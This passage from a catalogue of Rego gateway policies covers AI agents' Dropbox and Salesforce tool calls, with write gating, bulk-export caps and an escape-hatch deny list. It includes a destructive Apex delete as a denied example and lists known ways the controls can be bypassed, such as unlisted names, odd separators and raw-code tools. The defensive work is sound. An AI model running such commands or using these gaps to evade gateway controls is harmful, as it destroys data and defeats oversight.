**Art. 29 / 32(4)** — supports processing only on the controller's instructions by binding write capability to controller-managed IdP groups; **Art. 5(1)(b)** — supports purpose limitation; **CCPA §1798.100(e)** — supports reasonable security. ## Tool name matching Tool names are matched case-insensitively against `lower(input.resource.name)`, as an **exact name** or by a `-`/`_`-separated **suffix**, so the policy tolerates any gateway server-name prefix (e.g. `dropbox-CreateFile`, `dropbox-mcp-server-upload_file`) and resolves both the official PascalCase names and the community snake_case names. Requiring a separator before the suffix avoids over-matching (e.g. the `copy` suffix does not match `copy_item`, which has its own suffix entry). Read tools (`ListFolder`, `GetFileMetadata`, `GetFileContent`, `Search`, `WhoAmI`, `GetUsageAndQuota`, `CheckJobStatus`, `ListSharedLinks`, `GetSharedLinkMetadata`, `ListFileRequests`, `GetFileRequest`, `ListFileRevisions`, `ListRestoreEvents`, and the community equivalents) are **not** matched and always pass through. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape This policy inspects **no arguments** — the decision is made purely on tool identity and the caller's group membership. That is deliberate: Dropbox publishes no MCP JSON schemas, so argument names are unverified (see the landscape note). A write is a write regardless of its path or content, so the RBAC floor does not need to read arguments; path- and content-sensitive controls live in the companion path-fence and DLP policies. ## Examples ### Allowed — read tool passes through (no group needed) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-ListFolder", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "dropbox-ListFolder", "args": { "path": "/Projects" } } } } ``` `allow = true`, no reason. ### Allowed — writers-group member uploads a file ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-CreateFile", "type": "tool" }, "subject": { "sub": "google-apps|ops@example.com", "claims": { "groups": ["dropbox-writers"] } }, "payload": { "name": "dropbox-CreateFile", "args": { "path": "/Projects/notes.txt", "content": "hello" } } } } ``` `allow = true`, no reason. ### Denied — write tool, caller not in the writers group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-CreateFolder", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "dropbox-CreateFolder", "args": { "path": "/Projects/new" } } } } ``` `allow = false`, `reason = "This Dropbox tool writes to the workspace (...)"`. ## Composition This policy is single-purpose: the least-privilege **write** floor. It is designed to be attached alone or under the sharper Dropbox controls: - [`guard-share-links-external`](../guard-share-links-external/policy.md) — gates `CreateSharedLink` / `DownloadLink` / `CreateFileRequest`, which this policy deliberately leaves alone (they are externally-visible writes with their own group, `dropbox-sharing`). - A destructive-op / destructive-freeze policy for `Delete` (and, if you want a tighter posture, the restore tools) — this baseline lets `Delete` pass through so it can be governed independently. - [`fence-sensitive-paths`](../fence-sensitive-paths/policy.md) — adds path-prefix fences (by a different group per tree) on top of the write floor. - An egress PII/PHI/DLP redaction policy on `GetFileContent` / `download_file` and `Search` responses. ## Known limitations - **`Delete` and the external-sharing writes are out of scope by design.** A read-only caller (no `dropbox-writers`) can still call `Delete`, `CreateSharedLink`, `DownloadLink`, and `CreateFileRequest` as far as *this* policy is concerned — they are governed by the destructive-freeze and share-link companions. Attach those alongside this baseline for full write containment; this policy alone is the create/copy/move/restore floor, not a complete write lockdown. - **Group names are placeholders.** Replace `dropbox-writers` with your IdP's group name at import time. Callers with no `groups` claim, an empty claim, or a non-array claim are simply not in the group (fail-closed for the grant). - **`groups` claim must be an array of strings.** A string-valued or otherwise malformed `groups` claim makes the membership iteration fail, which fails closed (write tools deny). If your IdP emits group membership under a different claim name (e.g. `roles` or a namespaced custom claim), update `caller_groups` in the Rego. - **Suffix matching assumes a `-` or `_` prefix separator.** The DTwo gateway joins the configured server name to the tool name with a hyphen (e.g. `dropbox-mcp-server-CreateFile`), which this policy matches. If a deployment somehow surfaces a tool name whose prefix is joined by a different character (e.g. `dropbox.CreateFile`, `dropbox:CreateFile`) or with no separator at all (`dropboxCreateFile`), the `-`/`_` suffix test does not fire and the write would pass through ungated. Surrounding whitespace/newlines are handled (`trim_space`), but non-standard *internal* separators are not. Confirm the exact tool-name shape your gateway emits with the dump-input debug technique; the separator requirement is a deliberate trade to avoid a short suffix like `copy` over-matching `copy_item`. - **Tool names are unverified beyond the landscape note.** The official PascalCase names and the community snake_case names come from the Dropbox help docs and community READMEs, not a live `tools/list`. If your server exposes a write tool under a different name, add its suffix to `write_tool_suffixes` in the Rego and confirm with the dump-input debug technique before production. A write tool whose name is not in the list would pass through (fail-open for that specific unrecognized tool) — the flip side of keeping the read surface unrestricted. Pair with [PF-28 `default-deny-unknown-tools`](../../README.md) if you need every unrecognized tool denied. - **No argument inspection.** The decision does not depend on path or content, so the floor cannot express "writers may only write under `/Team`" — compose with `fence-sensitive-paths` for path scoping. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package dropbox.ingress.role_gate_writes # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group whose members may run Dropbox write tools. Replace # `dropbox-writers` with your IdP's group name at import time. Stored lowercase # because the membership test lowercases each claimed group before comparing. writers_group := "dropbox-writers" # Normalized tool name, safe against a missing resource/name. The gateway # prefixes tool names with the configured MCP server name (e.g. # `dropbox-CreateFile`), so all matching below is case-insensitive and by # `-`/`_`-separated suffix (or exact name) to stay portable across the official # PascalCase server and both community snake_case servers. `trim_space` strips # surrounding whitespace/newlines so a padded name (`"dropbox-CreateFile "`, # `"dropbox-CreateFile\n"`) cannot slip past the suffix match and reach the # server ungated. tool_name := trim_space(lower(object.get(object.get(input, "resource", {}), "name", ""))) # Match a suffix as the exact tool name, or after a `-` or `_` separator. The # separator requirement prevents a short suffix like `copy` from matching # `copy_item` (which carries its own suffix entry). tool_matches(suffix) if tool_name == suffix tool_matches(suffix) if endswith(tool_name, sprintf("-%s", [suffix])) tool_matches(suffix) if endswith(tool_name, sprintf("_%s", [suffix])) # Write tools gated by the least-privilege floor, across the three dialects. # Deliberately EXCLUDES Delete and the external-sharing writes (CreateSharedLink # / DownloadLink / CreateFileRequest) — those are governed by the # destructive-freeze and share-link companion policies. write_tool_suffixes := [ # official (PascalCase, no separator) -> lowercased "createfolder", "createfile", "copy", "move", "restorefilerevision", "restorefolder", # community amgadabdelhafez/dbx-mcp-server (snake_case) "create_folder", "upload_file", "copy_item", "move_item", # community ngs/dropbox-mcp-server (dropbox_ prefix) "dropbox_create_folder", "dropbox_upload", "dropbox_copy", "dropbox_move", "dropbox_restore_file", ] is_write_tool if { some s in write_tool_suffixes tool_matches(s) } # Caller's IdP groups, via object.get chains so a missing subject/claims/groups # fails closed (no group -> read-only). caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # True when the caller's groups claim (an array of strings) contains the writers # group. A malformed (non-array/string) claim makes the iteration fail -> fail # closed. Compared case-insensitively. caller_in_writers_group if { some g in caller_groups lower(g) == writers_group } # --- Allow rules -------------------------------------------------------------- # Pass through every tool that is not a gated write (all reads, Delete, and the # externally-visible sharing writes handled by companion policies). allow if not is_write_tool # Permit gated write tools only for members of the writers group. allow if { is_write_tool caller_in_writers_group } # --- Deny reasons ------------------------------------------------------------- reasons contains "This Dropbox tool writes to the workspace (create, upload, copy, move, or restore) and is limited to members of the 'dropbox-writers' group; your account has read-only Dropbox access on the agent path. Ask your Dropbox administrator to add you to the 'dropbox-writers' group if you need write access. Contact your InfoSec team if this restriction looks wrong." if { is_write_tool not caller_in_writers_group } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Salesforce Cap Bulk Data Export URL: https://www.intentbasedpolicy.com/policies/salesforce/cap-bulk-export App(s): salesforce | Direction: ingress | Bundles: crm, soc2, hipaa, pci-dss, gdpr-ccpa | Package: salesforce.ingress.cap_bulk_export | Published: 2026-07-12 | Tags: salesforce, cap-bulk-export, data-minimization, dlp, ingress, soc2, hipaa, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/cap-bulk-export/policy.md # salesforce / cap-bulk-export **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `salesforce.ingress.cap_bulk_export` ## What it does Blocks bulk PII extraction through Salesforce query tools by inspecting the free-text query arguments that are the real policy surface for these servers. A single generic query tool fronts every object, so this policy is **argument-shaped, not tool-shaped** — it reads the SOQL/SOSL string, not just the tool name. Two surfaces are governed: - **SOQL query tools** (`soql_query`, `executeQuery`, `querySobjects`, `run_soql_query`, `salesforce_query_records` — suffix-matched case-insensitively). The policy applies anchored, case-insensitive regexes to the `query` string argument (SOQL is case-insensitive, so the patterns are too). When the query reads from the PII-heavy `Contact`, `Lead`, or `Account` objects, it must carry a trailing `LIMIT` clause of **1000 or fewer** rows. A PII read with no `LIMIT`, or a `LIMIT` above 1000, is denied. Queries against other objects pass through — object pinning is [`query-allowlist`](../query-allowlist/policy.md)'s job, result volume is this policy's. - **Org-wide SOSL search tools** (`find`, `executeSearch`, `searchSobjects`, `run_sosl_search`, `salesforce_search_all` — suffix-matched). SOSL searches every field across every object, so it is a broad exfiltration surface even on a read-scoped server. These are denied unless the caller's IdP `groups` claim includes the placeholder group `sales` or `support`. **Fail closed:** a matched SOQL tool with a missing/empty `query` argument, and a matched SOSL tool with a missing/empty `search` argument, are denied — an unverifiable scope is treated as unbounded. All other Salesforce tools and all non-Salesforce tools pass through unchanged. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by capping how many PII records a single agent call can pull and by gating org-wide search. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard: an agent querying Contact/Lead/Account (which carry PHI in health-cloud orgs) is bounded to ≤1000 rows per call, and cannot fan out an unscoped org-wide search without a gated group. - **PCI DSS 7.2.6 / 3.4.2** — supports restricting programmatic query access to stored account data by role (org-wide SOSL search is gated to the `sales` / `support` groups) and prevents bulk copy/relocation of card-adjacent data through the agent channel by capping per-call row volume on Contact/Lead/Account reads, so a single agent call cannot pull an unbounded PII set off the platform. - **GDPR Art. 5(1)(c)** — supports data minimisation on the agent read path by bounding bulk personal-data reads. - **CCPA 11 CCR §7002** — supports proportionality: the volume an agent can extract per call is constrained relative to purpose. - **CCPA/CPRA §1798.121** — supports limiting access to sensitive personal information by fencing org-wide field search behind `sales`/`support`. ## Why ingress A query's scope is fully determined by the request (the SOQL/SOSL string plus the caller's identity), so the cheapest and safest place to enforce a volume cap is before the call reaches Salesforce — an over-broad read never executes. Egress redaction ([`redact-pii`](../redact-pii/policy.md)) still masks the fields that a *permitted* read returns; the two compose (see Composition). ## Tool name matching Matches case-insensitively on the **suffix** of `input.resource.name`. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `salesforce-soql_query`), and that prefix is not standardized — suffix matching keeps the policy portable across the hosted and community dialects. - **SOQL suffixes:** `soql_query` (hosted `sobject-all`), `executequery` (`sobject-mutations`), `querysobjects` (`sobject-deletes`), `run_soql_query` (smn2gnt / beta-era), `salesforce_query_records` (tsmztech). - **SOSL suffixes:** `find` (hosted `sobject-all`), `executesearch` (`sobject-mutations`), `searchsobjects` (`sobject-deletes`), `run_sosl_search` (smn2gnt), `salesforce_search_all` (tsmztech). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - **SOQL:** the query text is read from `input.payload.args.query` (the key the hosted `soql_query`, community `run_soql_query`, and `salesforce_query_records` tools use). Some community servers expose the string under `q` or `soql`; if yours does, add that key to `soql_query_text` in `policy.md`. - **SOSL:** the search text is read from `input.payload.args.search`. - The `sales`/`support` exemption reads `input.subject.claims.groups` via `object.get` chains with an empty-array default, and requires the claim to be an **array of strings** (`is_array` + `is_string` guards). A missing subject, missing claims, missing `groups` claim, a bare-string `groups`, an **object/map** `groups` (even one whose values happen to equal `"sales"`/`"support"`), or an array whose gated entry is a non-string all deterministically fail closed (no exemption). Without the `is_array` guard a `{"role":"sales"}`-shaped claim would have iterated to the value `"sales"` and spoofed the exemption. ## LIMIT parsing The `LIMIT` value is extracted with a regex anchored to the **end** of the query (allowing a trailing `OFFSET n` and a `FOR UPDATE|VIEW|REFERENCE` clause). This is deliberate: - A `LIMIT` inside a child-relationship subquery (`(SELECT … FROM Contacts LIMIT 5000)`) sits before the outer `FROM`/`LIMIT`, so it is **not** mistaken for the outer row cap — a PII read whose only `LIMIT` is inside a subquery is treated as unbounded and denied. - A `LIMIT n` embedded in a `WHERE` string literal (`WHERE LastName = 'LIMIT 5'`) is not at the end of the query, so it cannot be used to fake a bound. ## Examples ### Allowed — bounded PII read ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-soql_query", "type": "tool" }, "payload": { "name": "salesforce-soql_query", "args": { "query": "SELECT Id, Name FROM Contact WHERE Title = 'CFO' LIMIT 100" } } } } ``` `allow = true`, no reason. ### Denied — unbounded PII read ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-soql_query", "type": "tool" }, "payload": { "name": "salesforce-soql_query", "args": { "query": "SELECT Id, Email, Phone FROM Lead" } } } } ``` `allow = false`, reason asks for a trailing `LIMIT 1000` (or lower). Note a `WHERE` filter alone does **not** unblock the call — only a trailing `LIMIT` bounds row volume, so that is the only remediation the deny reason names. ### Denied — org-wide SOSL outside sales/support ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-find", "type": "tool" }, "subject": { "sub": "auth0|eng@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "salesforce-find", "args": { "search": "FIND {john} IN ALL FIELDS RETURNING Contact(Id, Email)" } } } } ``` `allow = false`, reason points to a scoped SOQL query or a member of the gated groups. ## Composition Single-purpose: this policy only bounds read *volume* and org-wide search. It is designed to sit alongside: - [`salesforce/query-allowlist`](../query-allowlist/policy.md) — pins the SOQL `FROM` object to an approved set but does **not** cap result volume; this policy adds the row cap. Together they bound *what* and *how much* an injected agent can pull per call. - [`salesforce/redact-pii`](../redact-pii/policy.md) — egress masking of the contact fields a permitted read returns. Ingress volume cap + egress field masking is defense in depth. - `salesforce/read-only` / `salesforce/role-gate-writes` — orthogonal write governance. ## Known limitations - **Group names are placeholders — replace `sales`/`support` with your IdP's group names at import time.** The exemption reads `input.subject.claims.groups` (array of strings) and fails closed: no IdP, no claim, a bare-string `groups`, or an object/map `groups` means nobody is exempt from the SOSL deny (the rule requires `is_array` + `is_string`, so a `{"dept":"sales"}`-shaped claim cannot spoof the exemption). - **Regex, not a SOQL parser.** Object detection keys on the singular object name after `FROM` (`Contact`, `Lead`, `Account`). Child-relationship subqueries use the plural relationship name (`FROM Contacts`) and are intentionally **not** treated as PII reads — only the outer/primary object is evaluated. A PII object reached only through a parent-to-child subquery whose outer object is non-PII (e.g. `… FROM Opportunity`) is out of scope for this policy; pair with `query-allowlist` for object pinning. Custom objects holding account/contact data (`Account_Archive__c`) are not matched by name. - **Unparseable object = pass-through here.** A query with no recognizable `FROM` object is not caught by this policy (it is not a recognized PII read); rely on `query-allowlist`, which denies unparseable/non-allowlisted `FROM` objects, for that backstop. - **`query`/`search` argument keys assumed.** SOQL reads `args.query`, SOSL reads `args.search`. Servers that use `q`/`soql` or a different search key are not inspected until you add the key. A matched tool with the expected key *missing* fails closed (deny). - **`find` is a generic suffix.** The hosted SOSL tool is literally `find`, so the suffix match can also catch a `find`-suffixed tool on an unrelated MCP server on the same gateway. The failure mode is over-blocking (that search also needs `sales`/`support`), never under-blocking. - **Escape hatches bypass this entirely.** `apex_execute`, `tooling_execute`, `restful`, and `salesforce_execute_anonymous` can read records without issuing a matched SOQL/SOSL call; govern them with an escape-hatch deny. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.ingress.cap_bulk_export # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Maximum rows a PII read may return per call. max_pii_rows := 1000 # SOQL query tools, matched by suffix (the gateway prefixes tool names with the # configured MCP server name, which is not standardized). Verified against the # Salesforce Hosted MCP GA references and the two community servers. soql_suffixes := [ "soql_query", # hosted sobject-all "executequery", # hosted sobject-mutations "querysobjects", # hosted sobject-deletes "run_soql_query", # community smn2gnt / beta-era hosted "salesforce_query_records", # community tsmztech ] # Org-wide SOSL search tools — search every field across every object. sosl_suffixes := [ "find", # hosted sobject-all "executesearch", # hosted sobject-mutations "searchsobjects", # hosted sobject-deletes "run_sosl_search", # community smn2gnt "salesforce_search_all", # community tsmztech ] # Placeholder IdP groups exempt from the org-wide SOSL deny. Replace `sales` / # `support` with your IdP's group names at import time. sosl_groups := {"sales", "support"} # Case-insensitive tool name; missing fields resolve to "" (never matches). tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Tool arguments; {} when payload/args are absent so lookups fail closed. args := object.get(object.get(input, "payload", {}), "args", {}) is_soql_tool if { some suffix in soql_suffixes endswith(tool_name, suffix) } is_sosl_tool if { some suffix in sosl_suffixes endswith(tool_name, suffix) } # --- SOQL --- # Trimmed query text; "" when missing (fails closed below). soql_query_text := trim_space(object.get(args, "query", "")) # The query's primary object is one of the PII-heavy standard objects. Keys on # the singular object name after FROM (case-insensitive); the plural relationship # names used by child subqueries (FROM Contacts) do not match. from_pii if { regex.match(`(?i)\bfrom\s+(contact|lead|account)\b`, soql_query_text) } # Outer row cap: LIMIT anchored to the end of the query (optionally followed by # OFFSET and a FOR UPDATE|VIEW|REFERENCE clause). Anchoring to the end means a # LIMIT inside a subquery, or inside a WHERE string literal, is not mistaken for # the outer cap. soql_limit := n if { m := regex.find_all_string_submatch_n(`(?i)\blimit\s+(\d+)(?:\s+offset\s+\d+)?(?:\s+for\s+(?:update|view|reference))?\s*$`, soql_query_text, 1) count(m) == 1 n := to_number(m[0][1]) } soql_limit_ok if { soql_limit <= max_pii_rows } # --- SOSL --- sosl_search_text := trim_space(object.get(args, "search", "")) caller_in_sosl_group if { groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) is_array(groups) some group in groups is_string(group) sosl_groups[lower(group)] } # --- Allow rules --- # Pass through anything that isn't a governed SOQL or SOSL tool. allow if { not is_soql_tool not is_sosl_tool } # SOQL against a non-PII object passes through (volume is governed only for the # PII-heavy objects; object pinning is query-allowlist's job). allow if { is_soql_tool soql_query_text != "" not from_pii } # SOQL against a PII object is allowed only when it carries a trailing LIMIT of # at most max_pii_rows. allow if { is_soql_tool soql_query_text != "" from_pii soql_limit_ok } # SOSL is allowed only for callers in the sales/support groups, and only when a # search term is actually present. allow if { is_sosl_tool sosl_search_text != "" caller_in_sosl_group } # --- Deny reasons --- reasons contains "This Salesforce query tool was called without a 'query' argument, so its scope cannot be verified and it is blocked. Provide the SOQL text you want to run. Contact your InfoSec team if this block is a false positive." if { is_soql_tool soql_query_text == "" } reasons contains "SOQL reads from the Contact, Lead, or Account objects must include a trailing 'LIMIT' clause of 1000 rows or fewer to prevent bulk PII extraction. Add 'LIMIT 1000' (or lower) to the end of your query. Contact your InfoSec team if this block is a false positive." if { is_soql_tool soql_query_text != "" from_pii not soql_limit_ok } # NOTE: this reason previously suggested "or narrow it with a WHERE filter" as an # alternative. That was misleading — a WHERE filter without a trailing LIMIT is # still denied (a filter does not bound row volume), so the remediation now names # only the actually-unblocking fix: adding a trailing LIMIT. reasons contains "Org-wide Salesforce search (SOSL) scans every field across every object and is restricted to callers in the 'sales' or 'support' groups. Use a scoped SOQL query against a specific object instead, or ask a member of those groups to run the search. Contact your InfoSec team if this block is a false positive." if { is_sosl_tool sosl_search_text != "" not caller_in_sosl_group } reasons contains "This Salesforce search tool was called without a 'search' argument, so it is blocked. Provide the SOSL search term you want to run. Contact your InfoSec team if this block is a false positive." if { is_sosl_tool sosl_search_text == "" } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Salesforce Deny API Escape Hatches URL: https://www.intentbasedpolicy.com/policies/salesforce/deny-escape-hatches App(s): salesforce | Direction: ingress | Bundles: crm, soc2 | Package: salesforce.ingress.deny_escape_hatches | Published: 2026-07-12 | Tags: salesforce, deny-escape-hatches, access-control, ingress, soc2, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/deny-escape-hatches/policy.md # salesforce / deny-escape-hatches **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `salesforce.ingress.deny_escape_hatches` ## What it does Unconditionally denies the raw-code and raw-API tools exposed by the community Salesforce MCP servers — tools that bypass every object- and argument-level policy on the gateway: - **tsmztech/mcp-server-salesforce (Node):** - `salesforce_execute_anonymous` — arbitrary anonymous Apex, i.e. arbitrary DML and HTTP callouts in one call - `salesforce_write_apex` / `salesforce_write_apex_trigger` — plants persistent code; a trigger runs on every future record change (write-once, execute-forever) - `salesforce_manage_field_permissions` — can silently widen field-level security by profile - **smn2gnt/MCP-Salesforce (Python):** - `apex_execute` — Apex REST execution - `tooling_execute` — raw Tooling API calls - `restful` — arbitrary REST endpoint + payload These tools accept raw code or raw API paths/payloads, so they are effectively unpolicable at argument granularity — no SOQL guard, object allowlist, or field-strip transform can inspect what an anonymous Apex block or an arbitrary REST call will do. The only safe posture is allow/deny, and the answer is deny. There is **no group exemption by design**: an identity carve-out here would hand that identity a bypass of every other Salesforce policy on the gateway. All other tools — the scoped record tools (`query`, `create_record`, `update_record`, `salesforce_query_records`, `salesforce_dml_records`, the hosted `sobject-*` tools, and everything non-Salesforce) — pass through unchanged. ## Compliance alignment - **SOC 2 CC6.3 / CC6.8** — least privilege and prevention of unauthorized software: raw anonymous-Apex, Tooling-API, and arbitrary-REST passthrough are privileged, effectively unpoliceable execution paths; denying them on the agent channel supports confining privileged functions to authorized paths (CC6.3) and keeps unauthorized/arbitrary code off the gateway path (CC6.8). - **ISO 27001 A.8.2 / NIST 800-53 AC-6(9), AC-6(10)** — privileged access restriction: raw code execution and raw API passthrough are privileged functions; denying them on the agent channel supports restricting privileged functions to authorized paths and auditing their non-use. ## Why ingress Anonymous Apex, a deployed trigger, or an arbitrary REST call executes the moment it reaches Salesforce — DML is committed, callouts fire, triggers persist. Egress inspection would see only the aftermath. Denying at ingress is the only point where the action can actually be prevented. ## Tool name matching Matching is case-insensitive by suffix on the tool name, after surrounding whitespace is stripped (`lower(trim_space(input.resource.name))`) so a trailing space, newline, or CRLF cannot slip a name past the anchored checks. Suffix matching is used because the DTwo gateway prefixes tool names with the configured MCP server name (e.g. `sf-community-salesforce_execute_anonymous`) and that prefix is not standardized. Suffixes matched: - `salesforce_execute_anonymous` - `salesforce_write_apex` - `salesforce_write_apex_trigger` - `salesforce_manage_field_permissions` - `apex_execute` - `tooling_execute` - `restful` — matched as the exact tool name or when preceded by any non-alphanumeric separator (`-`, `_`, `.`, `/`, … — whatever a gateway uses to namespace it), since the bare word is short enough to appear inside unrelated tool names. A name where a letter or digit immediately precedes it (e.g. a hypothetical `getrestful`) is **not** matched. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision is made entirely from the tool name — these tools carry raw code/paths in their arguments, which is precisely why argument inspection is not attempted. A matched tool is denied even when its arguments are empty or missing. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "sf-community-salesforce_query_records", "type": "tool" }, "payload": { "name": "sf-community-salesforce_query_records", "args": { "objectName": "Case", "fields": ["Subject", "Status"] } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "sf-community-salesforce_execute_anonymous", "type": "tool" }, "payload": { "name": "sf-community-salesforce_execute_anonymous", "args": { "apexCode": "delete [SELECT Id FROM Contact];" } } } } ``` `allow = false`, `reason = "This tool executes raw code or raw API requests against Salesforce (...)"`. ## Composition This policy is single-purpose defense-in-depth for deployments using the community stdio servers. Useful companions from the same app directory: - [`apps/salesforce/read-only`](../read-only/policy.md) — allowlist read-only posture; new/unknown write tools fail closed. - [`apps/salesforce/query-allowlist`](../query-allowlist/policy.md) — object scoping on the query tools this policy leaves open. - [`apps/salesforce/protect-contact-fields`](../protect-contact-fields/policy.md) and [`apps/salesforce/redact-pii`](../redact-pii/policy.md) — field- and response-level guards that only work because this policy closes the paths around them. See the [`bundles/crm`](../../../bundles/crm/README.md) bundle for the curated set. ## Known limitations - **Blocklist, not allowlist.** A new escape-hatch tool added upstream (or a renamed one) is not caught until this list is updated. For a fail-closed posture, pair with an allowlist policy such as `apps/salesforce/read-only` or a default-deny-unknown-tools policy. - **No-op on the hosted servers.** The Salesforce hosted `sobject-*` servers do not expose these tools, so on those deployments this policy matches nothing — that is the intended defense-in-depth behavior, not a gap. - **Salesforce DX MCP server not covered.** The developer-tooling server (`@salesforce/mcp`, 60+ tools) has its own code-deployment surfaces with different names; govern it separately if you enable it. - **Tool names sourced from the community repos** (tsmztech/mcp-server-salesforce, smn2gnt/MCP-Salesforce) as documented in the mid-2026 landscape research. Community servers can rename tools between versions — validate against your deployed server's actual `tools/list`. - **No identity-based exemptions — intentionally.** Unlike group-gated policies, there is no break-glass group: exempting anyone re-opens the bypass for that identity. If an admin genuinely needs anonymous Apex, they should use the Salesforce Developer Console or CLI outside the agent channel, where their own credentials and audit trail apply. - **`restful` matching is boundary-based, not a full allowlist.** It fires on the exact name or a non-alphanumeric separator immediately before `restful`; a name where a letter or digit precedes it (e.g. `getrestful`) is intentionally not matched, to avoid false positives on unrelated tools. Confirm your deployed server's exact `restful` tool name with the dump-input technique. A request that carries **no tool name at all** is treated as "not an escape hatch" and allowed — the gateway does not route a tool call without a name, so this is not a reachable bypass, but the policy asserts nothing over nameless input. - **Name normalization / non-string names.** Tool names are trimmed of surrounding whitespace and lower-cased before matching, so a trailing space/newline/CRLF (e.g. `restful\n`) can no longer evade a match — a red-team regression closed in this policy. A name that is not a string (e.g. a number) makes `trim_space` undefined, so `is_escape_hatch` fails and the request is allowed; the gateway only ever sends a string tool name, so this fail-open branch is not reachable in practice. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.ingress.deny_escape_hatches # Deny-by-default: only the explicit allow rule below permits the request. default allow := false # Raw-code / raw-API tools that bypass object- and argument-level policy. # Names verified against tsmztech/mcp-server-salesforce (salesforce_* prefix) # and smn2gnt/MCP-Salesforce (unprefixed snake_case). The gateway prefixes # tool names with the configured MCP server name, so we match by suffix. escape_hatch_suffixes := [ # tsmztech: arbitrary anonymous Apex = arbitrary DML and callouts "salesforce_execute_anonymous", # tsmztech: plants persistent Apex code "salesforce_write_apex", # tsmztech: trigger runs on every future record change "salesforce_write_apex_trigger", # tsmztech: can silently widen field-level security by profile "salesforce_manage_field_permissions", # smn2gnt: Apex REST execution "apex_execute", # smn2gnt: raw Tooling API calls "tooling_execute", ] # Normalize the tool name once: strip surrounding whitespace (so a trailing # newline / space / CRLF cannot slip a match past the anchored checks below), # then lower-case it for case-insensitive matching. If no name is present this # is undefined and both is_escape_hatch rules fail — nameless input is allowed # (the gateway never routes a nameless tool call; see Known limitations). normalized_name := lower(trim_space(input.resource.name)) is_escape_hatch if { some suffix in escape_hatch_suffixes endswith(normalized_name, suffix) } # smn2gnt `restful` (arbitrary REST endpoint + payload): the bare word is # short/generic, so match it only as the whole tool name or when preceded by a # non-alphanumeric separator (`-`, `_`, `.`, `/`, … — whatever a gateway uses to # namespace the tool). The `(^|[^a-z0-9])` boundary still excludes unrelated # names where a letter or digit immediately precedes it (e.g. `getrestful`), # while closing the gap where a non-`-`/`_` separator would have slipped through. is_escape_hatch if { regex.match(`(^|[^a-z0-9])restful$`, normalized_name) } # Allow everything that is not a raw-code / raw-API escape hatch. allow if { not is_escape_hatch } reasons contains "This tool executes raw code or raw API requests against Salesforce and bypasses the gateway's object- and argument-level policies, so it is disabled for all users on this path. Use the scoped record tools (query, create, update) instead; for genuine Apex or Tooling API work, use the Salesforce Developer Console or CLI outside the agent channel. Contact your InfoSec team if you believe this block is a mistake." if { is_escape_hatch } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Salesforce Guard Opportunity Pipeline Fields URL: https://www.intentbasedpolicy.com/policies/salesforce/guard-opportunity-pipeline App(s): salesforce | Direction: ingress | Bundles: crm | Package: salesforce.ingress.guard_opportunity_pipeline | Published: 2026-07-12 | Tags: salesforce, opportunity, pipeline, revenue, human-approval, access-control, governance, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/guard-opportunity-pipeline/policy.md # salesforce / guard-opportunity-pipeline **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `salesforce.ingress.guard_opportunity_pipeline` ## What it does Keeps revenue-pipeline moves human-approved. It denies Salesforce update calls that modify the `Opportunity` pipeline fields — `StageName`, `Amount`, and `CloseDate` — unless the caller's IdP groups include `sales-managers`. The agent can still do useful Opportunity hygiene (notes, next steps, `Description`); it just cannot advance the stage, resize the deal, or slip the close date. A human consummates the move. Because one generic Salesforce tool fronts every object, this policy is **argument-shaped, not tool-shaped** — it matches the update tool by name, then keys on its arguments to find the object and the fields being written: - **Salesforce Hosted** (`updateSobjectRecord`, `updateRecord`, `updateSobjectRecordByRelationship`): reads the `sobject-name` argument and, when it is `Opportunity` (case-insensitive), scans the `body` field map. - **tsmztech** (`salesforce_dml_records`): applies only when `operation` is `update` or `upsert` (compared case-insensitively and with surrounding whitespace stripped); reads `objectName` and scans each entry of `records[]`. - 